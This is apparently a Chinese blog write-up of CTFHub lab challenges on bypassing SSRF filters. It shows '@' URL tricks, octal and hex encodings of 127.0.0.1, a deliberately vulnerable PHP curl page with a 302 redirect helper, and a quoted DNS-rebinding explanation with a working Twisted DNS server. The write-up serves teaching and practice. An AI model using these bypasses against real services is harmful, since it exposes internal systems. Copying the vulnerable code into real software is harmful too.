之前的文章我们介绍了SSRF漏的基础利用方法,以及利用SSRF攻击内网的服务,不过这些攻击都是在服务器没有对地址做任何过滤的情况下,通常情况下后台的代码中都会对我们所要访问的URL做一些过滤,今天我就来介绍一下SSRF中的一些绕过方法。
我们还是以 CTFHub 中的技能树为例,首先看看URL Bypass。
题目上没有任何提示,我们直接进入环境。
进入环境后页面提示我们URL必须以“http://notfound.ctfhub.com”开头。
这里我们可以利用@来绕过,我们可以进行简单的测试,在浏览器中输入:
[email protected]
访问后发现最终访问的是“www.baidu.com”
那么我们就可以利用他来绕过限制,我们在?url=后面输入:
http://[email protected]/flag
访问后发现页面报未找到,不过我们可以看到访问的确实是127.0.0.1。那么我们可以尝试遍历目录,这里我直接尝试了 flag.txt,和 flag.php 然后就找到了flag:
这一题同样题目中没有任何提示,我们就直接进入环境。
进入环境后发现同样也没有任何提示,那我们就直接在url参数后输入IP访问试试。
这回有提示了,页面告诉我们不能输入127、172和@,那么这里我们就可以采用不同进制格式的ip来绕过。
比如127.0.0.1这个地址我们可以这样表示:
8进制格式:0177.0.0.1 16进制格式:0x7F.0.0.1 10进制整数格式:2130706433 16进制整数格式:0x7F000001
我们就挨个来尝试:
直接访问发现页面没有反应,应该是通过了过滤,那我们按照上一题的思路直接访问/flag.php
成功拿到flag,那我们同样也试试其他几种写法:
可以看到,这几种写法都可以顺利的拿到flag。
题目中也是没有任何提示,进入环境后也没有找到能够302跳转的页面。。。
结果最后直接在url参数中输入:127.0.0.1/flag.php
直接就拿到了flag。。。。
额,看来是题目有问题,那我们就在本地环境尝试一下吧。
先准备一个存在SSRF漏洞的页面:
文件名:ssrf.php,代码如下:
<?php highlight_file(__FILE__); $url = $_GET['url']; $curl = curl_init($url); //第二种初始化curl的方式 //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']); /*进行curl配置*/ curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE); // 允许302跳转 curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);// 限制为HTTPS、HTTP协议 $responseText = curl_exec($curl); var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容 echo $responseText; curl_close($curl); ?>
这时我们尝试通过file协议查看本地文件试试:
可以看到,页面报错,file协议被禁用了。
这时候我们再准备一个能够进行302跳转的页面:
文件名:302.php,代码如下:
<?php $schema = $_GET['s']; $ip = $_GET['i']; $port = $_GET['p']; $query = $_GET['q']; if(empty($port)){ header("Location: $schema://$ip/$query"); } else{ header("Location: $schema://$ip:$port/$query"); } ?>
这时我们通过302.php页面再次利用file协议访问本地文件试试:
额,结果发现还是不能用file协议,然后又尝试了其他协议,只有http可以,我尝试把限制协议的语句注释,发现还是不行,查询资料好像是环境问题,但是还没有找到解决的办法。
(待问题解决后补充)
这道题也是跟上一题一样,有问题,直接访问 url=127.0.0.1/flag.php就可以拿到flag。
这里介绍一下DNS重绑定Bypas的原理:
借用大佬文章中的解释:
https://zhuanlan.zhihu.com/p/73736127
1)SSRF 修复逻辑
1.取URL的Host
2.取Host的IP
3.判断是否是内网IP,是内网IP直接return,不再往下执行
4.请求URL
5.如果有跳转,取出跳转URL,执行第1步
6.正常的业务逻辑里,当判断完成最后会去请求URL,实现业务逻辑。
所以,其中会发起DNS请求的步骤为,第2、4、6步,看来至少要请求3次。因为第6步至少会执行1次DNS请求。
另外,网上有很多不严谨的SSRF修复逻辑不会判断跳转,导致可以被Bypass。
首先,修复逻辑中第2步发起DNS请求,DNS服务器返回一个外网IP,通过验证,执行到第四步。
接着,修复逻辑中第4步会发起DNS请求,DNS服务器返回一个内网IP。此时,SSRF已经产生。
不过,这一切都是在TTL为0的前提下。
2)什么是TTL?
TTL(Time To Live)是DNS缓存的时间。简单理解,假如一个域名的TTL为10s,当我们在这10s内,对该域名进行多次DNS请求,DNS服务器,只会收到一次请求,其他的都是缓存。
所以搭建的DNS服务器,需要设置TTL为0。如果不设置TTL为0,第二次DNS请求返回的是第一次缓存的外网IP,也就不能绕过了。
3)DNS请求过程
1.查询本地DNS服务器(/etc/resolv.conf)
2.如果有缓存,返回缓存的结果,不继续往下执行
3.如果没有缓存,请求远程DNS服务器,并返回结果
4)DNS缓存机制
平时使用的MAC和Windows电脑上,为了加快HTTP访问速度,系统都会进行DNS缓存。但是,在Linux上,默认不会进行DNS缓存(https://stackoverflow.com/questions/11020027/dns-caching-in-linux) ,除非运行nscd等软件。
不过,知道Linux默认不进行DNS缓存即可。这也解释了,我为什么同样的配置,我在MAC上配置不成功,Linux上配置可以。
需要注意的是,IP为8.8.8.8的DNS地址,本地不会进行DNS缓存。
1.Java默认不存在被DNS Rebinding绕过风险(TTL默认为10)
2.PHP默认会被DNS Rebinding绕过
3.Linux默认不会进行DNS缓存
5)搭建DNS服务器
DNS配置如下:
此时,当访问http://dns_rebind.joychou.me域名,先解析该域名的DNS域名为http://ns.joychou.me,http://ns.joychou.me指向47这台服务器。
DNS Server代码如下,放在47服务器上。其功能是将第一次DNS请求返回35.185.163.135,后面所有请求返回127.0.0.1
NS记录表示这个子域名http://test.joychou.me指定由http://ns.joychou.me域名服务器解析,
A记录表示http://ns.joychou.me位置在ip地址http://xxx.xxx.xxx.xxx上
在这个ip地址上搭建DNS服务器,采用python库中的twisted库中的name模块,核心代码如下:
from twisted.internet import reactor, defer from twisted.names import client, dns, error, server record={} class DynamicResolver(object): def _doDynamicResponse(self, query): name = query.name.name if name not in record or record[name]<1: ip = "35.185.163.135" else: ip = "127.0.0.1" if name not in record: record[name] = 0 record[name] += 1 print name + " ===> " + ip answer = dns.RRHeader( name = name, type = dns.A, cls = dns.IN, ttl = 0, payload = dns.Record_A(address = b'%s' % ip, ttl=0) ) answers = [answer] authority = [] additional = [] return answers, authority, additional def query(self, query, timeout=None): return defer.succeed(self._doDynamicResponse(query)) def main(): factory = server.DNSServerFactory( clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')] ) protocol = dns.DNSDatagramProtocol(controller=factory) reactor.listenUDP(53, protocol) reactor.run() if __name__ == '__main__': raise SystemExit(main())
运行python dns.py,dig查看下返回
➜ security dig @8.8.8.8 http://dns_rebind.joychou.me; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40376 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;dns_rebind.joychou.me. IN A ;; ANSWER SECTION: dns_rebind.joychou.me. 0 IN A 35.185.163.135 ;; Query time: 203 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Fri Sep 8 14:52:43 2017 ;; MSG SIZE rcvd: 55 ➜ security dig @8.8.8.8 http://dns_rebind.joychou.me ; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14172 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;dns_rebind.joychou.me. IN A ;; ANSWER SECTION: dns_rebind.joychou.me. 0 IN A 127.0.0.1 ;; Query time: 172 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) ;; WHEN: Fri Sep 8 14:52:45 2017 ;; MSG SIZE rcvd: 55
可以看到第一次返回35.185.163.135,第二次返回127.0.0.1。 dig加上@8.8.8.8是指定本地DNS地址为8.8.8.8,因为该地址不会有缓存。每dig一次,DNS Server都会收到一次请求。
curl 'http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me'
返回http://test.joychou.org页面内容It works.
在测试时,我把该服务器的80端口已经限制为只有本地能访问,所以,我们的POC已经绕过内网的限制。
以上引用文章中内容。
个人简单理解原理就是在过滤IP地址时会先进行一次DNS解析,来确定是否为内网IP,此时让我们的DNS服务器解析为外网地址通过检测,然后当真正发起请求时,因为ttl值设置为了0,所以服务器会再次向我们的DNS服务器请求解析IP,这时再返回内网的IP地址,这样就绕过了地址的过滤。
因为实验需要有自己的域名,并且还需要搭建DNS服务器,条件比较苛刻,在实际环境中的应用也比较有限,在这里就没办法进行实验了,就先简单了解一下原理吧。